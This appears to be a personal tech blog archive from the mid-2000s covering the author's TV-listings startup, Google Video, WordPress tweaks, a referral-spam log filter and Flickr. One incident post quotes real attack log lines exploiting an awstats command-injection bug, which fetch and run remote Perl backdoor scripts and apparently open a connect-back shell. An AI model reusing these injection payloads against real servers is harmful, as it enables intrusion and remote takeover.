Juju

The King is dead. Long live the King?

Something looks strangely familiar here...

No, I'm not involved with Couchville. (and neither is TV Guide) Yes, the UI and features are nearly identical to EvokeTV. All it's missing are the personalized rss and ical feeds of favorite shows.

Oh look, Techcrunch featured them saying "they’ve nailed the most important feature - the guide itself". Where was Michael Arrington when I needed him?

Yes, I am feeling a little bitter. I wish them luck though, hopefully they will be able to survive. (the money behind Snapstream will surely help)

Things are still developing and I can't say for certain when or even if EvokeTV will be back online, or if I'll be involved in future development, but cross your fingers. I must say it makes me feel good to know that something I created was purchased by a TVGuide! Unfortunately, no, this doesn't mean I'm filthy rich, but it looks a lot better to have a startup that got bought out by TVGuide than having a typical failed startup on my resume.

I sure hope it will be a triumphant return like Mashable says. ;)

Update: Looks like someone posted it to digg, so show your support and go digg it too!

I'm pleased to announce that a project I've been working on for the past few months has been released. (well open beta) It's called eVoke TV. Majority of the development was done by yours truely using Ruby on Rails.

What is it? Turning on marketroid speak, it's TV Listings Web 2.0 style. Compared to most TV listings sites, which tend to be slow and cluttered with ads, eVoke aims to be as fast as possible. Lots of ajax and scriptaculous effects.

Also, it provides RSS feeds for your rated shows as well as a personalized lineup feed. In other words I can open my RSS aggregator and every day it will send me the list of shows I like that are on today. Along with the RSS feeds, you can add script tags to your blog to share your favorites as you should be able to see in the sidebar of this page.

The other biggy is an ajax powered realtime chat room for every show that is on right now. What this means is it connects you to other users in your timezone so that you can chat about the show you're watching. (your chat status can also be posted to your blog so your visitors can see what show you're watching right now and join you in chat)

There's lots of other nifty stuff, so do me a favor and go take a look and spread the word.

Oh, how could I forget, we're launching at Demo 2006, a pretty prestigous conference. Over 1500 companies applied, but only 70 are accepted. I'm quite pleased with myself at the moment. :)

In case you've been living in a cave (with no internet access), Google has launched Google Video, now with the ability to well, actually VIEW (some) videos within the web browser. It uses a customized VLC plugin. I works great, it loads fast, and I'm sure it will change the online world like everything else Google does... I'm a little peeved that it currently only supports Windows. However, I've read that a Mac version is coming soon. Also considering VLC is open source, cross platform and a patch is available for Google's changes, I'm sure someone will get a Linux version out soon. The quality also isn't all that great and the window is pretty small, which is why they load so fast and smoothly. (note: I found that you can double click on a video and it will open full screen. On some videos it makes the quality worse, with others it isn't so bad.) This is afterall one of Google's infinite beta programs. VLC has the ability to re-encode the output on the fly, so I'm willing to bet higher quality streams will come soon.

While searching around looking for things to watch, I noticed a video of Matrix Revolutions. At first glance I thought it was just the first 2 minutes. However, if you click on the Whole Show link, you'll see that it is in fact the entire Matrix Revolutions movie! Judging by the quality, it would appear to be a bootleg from some guy with a camera in a theater. Considering anyone can upload videos to the Google megaplex, this could turn into a serious problem. They say all submissions are scanned for innapropriate content or copyright violations. Looks like someone fell asleep at the wheel.

Update: That was fast. Apparently, word got out and google removed the Matrix video. The question is, I wonder if this post had anything to do with it being mentioned on the Screen Sa^H^H^H^HAttack of the Show and eventually removed? According to google this was the first mention of it. Then it got posted to digg. The comments on digg say that there were a lot of things on google video like Family Guy and Stargate episodes and many others, which were quickly removed also. One that they missed is a video of Hackers (the movie), but I'm sure that will be gone soon also. Google is going to have a hell of a time preventing violations.

Update: Ok, so maybe I wasn't the first one to notice it. Looks like chancycat posted a comment on slashdot first. :)

Instructions on how to build an RJ45 cable tester. It uses dip switches to let you check crossover cables as well as finding crossed wires.

Normally I would have just posted this to my delicious links page, but I wanted to try the cross-posting feature of digg.com. Digg is sort of like a community moderated slashdot. It has all kinds of nifty buzzwordy features and things that I'll post more about later after I soak it all in.

If you're looking for the link on how to make the cable tester, click the read more link below. Apparently that's how digg posts it. Not sure I like that. As a matter of fact, I don't like that. :)

read more | digg story

I was looking through my logs to weed out referral spammers and saw a domain that looked odd called jagk.com. So I visted the site and found the following message:

jagk.com coming soon So I was looking through my referer logs, and found a spammer pushing a domain, "jagk.com" -- but the domain hadn't been registered yet. So in a preemptive strike, I registered jagk.com for myself. And why not? It's a nice, short name, and I'm sure I can do something better with it than any spammer ever could. Watch this space.

That man deserves a cookie. Thanks! In case you're wondering, spammers have begun using a new technique to get around DNS based anti-spam lookups by registering a domain AFTER they've sent out a load of spam.

Note: WordPress 1.5 has been released! Figures, I only just installed the latest beta the other day. :)

I've been using del.icio.us (god I hate typing that url) quite a bit lately and I found this page that shows an easy way to post your del.icio.us bookmarks using php and a simple rss parser. I wanted to integrate it into a seperate "Page" in WordPress. (new feature in 1.5) If you look at the top of this page you'll see this bookmarks link. I wanted to stop posting links as stories on this blog, so this allows me to keep a seperate link blog kind of thing. Here's how I did it...

WordPress 1.5 has this neat new feature that lets you create "static" pages seperate from your blog posts. Unfortunately, there doesn't seem to be an easy way to put your own php code inside these pages. Then I realized you can assign templates to the page you're creating and inside that template file you can have all your php code. I never was very good at writing documentation, but here goes:

Step 1: Download the magpie rss include files. Extract the archive and copy the 4 .inc files to your template directory. (by default, thats wp-content/themes/default) Also make a directory under there called extlib and copy the extlib/Snoopy.class.inc to that directory.

Step 2: Create a file in your theme directory called bookmarks.php. In order for it to show up on the Write Page menu under template, you need that comment at the top that says Template Name: Bookmarks. Also change the two instances of $username to your del.icio.us name:

Step 3: In WordPress goto Write -> Write Page and for Page Template select Bookmarks. You can leave the Page Content blank.

Update: I seem to be having some weird problems with it not updating sometimes. Anyone more knowledgable about the new "Page" feature in WordPress? It's almost as if WordPress is caching the result beyond the rss caching of magpie...

You might be wondering why my website has been down the last few days. Well I was hacked. This isn't the first time someone hacked into my server, but this was the first time I found out about it practically immediately due to some script kiddy's incompetence which brought the server to a halt. How did they get in? Recently I posted a script I wrote to clean my log files of referral spam that got quite a bit of attention and I linked to my awstats showing the results. (before that I didn't link to my stats page) The problem is, awstats prior to version 6.3 has a bug that allows an attacker to run arbitrary commands on your server. If you're running awstats, UPGRADE NOW. Read on for more information...

The last time I got hacked was about 2 years ago due to the fact that I didn't run regular updates and there was a vulnerability in ssh. Just like last time, the bastard broke in to install an irc bot. sigh Here's the entries in my log that shows how they were able to use awstats to download and install some rootkits:

201.9.219.9 - - [09/Feb/2005:16:31:09 -0500] "GET /archives/2004/01/11/?logfile=&configdir=|echo %20;id;echo%20| HTTP/1.0" 200 24772 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 201.9.219.9 - - [09/Feb/2005:16:31:12 -0500] "GET /archives/2004/01/11/?logfile=|echo%20;id;echo %20|&configdir= HTTP/1.0" 200 24772 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 201.9.219.9 - - [09/Feb/2005:16:31:28 -0500] "GET /awstats/awstats.pl?configdir=|echo %20;echo%20comeco;%20uname%20-a;%20id; %20uptime;%20wget%20;echo%20fim;echo%20| HTTP/1.1" 200 904 "-" "-" 201.9.219.9 - - [09/Feb/2005:16:36:51 -0500] "GET /awstats/awstats.pl?configdir=|echo %20;echo%20comeco;%20cd%20/var/tmp;%20wget %20http://geocities.yahoo.com.br/lippemotta/door.pl;%20perl%20door.pl%20;echo%20fim;echo%20| HTTP/1.1" 200 618 "-" "-" 201.9.219.9 - - [09/Feb/2005:16:37:29 -0500] "GET /awstats/awstats.pl?configdir=|echo %20;echo%20comeco;%20cd%20/var/tmp;%20 wget%20http://geocities.yahoo.com.br/lippemotta/cbserv.pl;%20perl%20cbserv.pl %2070.64.95.79%204567%20;echo%20fim;echo%20| HTTP/1.1" 200 639 "-" "-"

Offending ip resolves as 201009219009.user.veloxzone.com.br. Brazil... question is do I really want to go through the process of trying to report it? I'm sure it won't do any good. Although it was mildly amusing to look at their irc bot's config and login to their channel and look around. It was filled with about 30 similarly named bots, probably also running on hacked servers in some kind of network sharing videos of tv shows like The Apprentice. Don't these people know there are much easier and more efficient ways to get such things using bittorrent... not that I'd know. whistles innocently

Meanwhile, I reinstalled using Gentoo instead of Mandrake with lots of nicer security settings and options (including mod_security). It's something I've been meaning to do for a while, I just wish it hadn't been forced upon me and keeping me up all night for the past few days. I also took the time to upgrade to latest beta of WordPress 1.5. (most excellent) On top of all that as I was in the process of reinstalling, I thought my hard drive had went bad. It turned out it was the power supply... when it rains, it pours.

Warning: If you use awstats, make sure you upgrade immediately! I've decided to stop using it expecially now that I've seen this nifty WordPress plugin.

It seems like I enjoy fighting blog spammers more then I enjoy posting to my blog lately. Tom Sherman linked to a post of mine about how I was trying to deal with referral spam. It was suggested that a good idea would be to use the MT-Blacklist file to actively filter out referral spam from your log files. I thought that was a pretty good idea too, so I wrote a little perl script. Probably the best way to use it would be to run it right before your log analyzer processes it and then rotate the log. (I'll leave that up to you)

Download derefspam.pl v.2 (01-23-2005) Download my blacklist.txt (01-23-2005) Download my whitelist.txt (01-23-2005) Download MT-Blacklist's blacklist.txt

Update: Version .2

• added optional whitelist file
• added optional second blacklist file
• added code to only check the referral field making it about 3x faster

Statistics: Completed 153709 lines in 266 seconds. (about 578 lines/second)

Usage: derefspam.pl [OPTIONS]

Take a log file, search through it an remove any lines that match lines in
the blacklist file and output it to another file.

Mandatory arguments:
  -i, --in file            path to log
  -o, --out file           path to output cleaned log
  -b, --blacklist file     path to blacklist rule file

Optional arguments:
  -s, --spam file          path to output lines that match blacklist
  -x, --myblacklist file   a second blacklist (so you can keep a second
                           blacklist that you maintain and overwrite the one
                           you download from MT-Blacklist)
  -m, --mydomain 'domain'  ignore referrals from this domain, this should
                           speed up processing time by ignoring common
                           domains you can also seperate multiple domains
                           with a | character and no spaces, and enclose in '
  -w, --whitelist file     path to a whitelist, same syntax as the blacklist
                           use this instead of mydomain if you have a lot
  -d, --debug              print extra debug info
  -h, --help               what you're reading right now

Example:
  ./derefspam.pl -b blacklist.txt -w whitelist.txt -i juju-combined.log 
  -x myblacklist.txt -o juju-derefspam.log -s juju-refspam.log 
  -m 'juju.org|google.com' -d

Gandalf In Bed
Originally uploaded by gr0k.
After playing with several photo album programs over the years, I finally gave Flickr a try. I must say, it's pretty damn sweet. It's amazing how easy it is to use. The ability to assign tags to easily search for pictures is handy. They also have a graphical "Organizr" that lets you drag images into albums (uses flash). It kind of sucks that with free accounts you can only upload 10 megs a month (there's no download limit) so you have to resize everything or else you'll use up all your bandwidth pretty fast. It's only like $3.50 a month for 1 gig and the ability to store and retrieve your high res originals. There's many other handy tools and features, such as a "Blog This" button that lets you post a picture you your blog right from your Flickr page (which is how I did this post). Take a look at my photo album so far.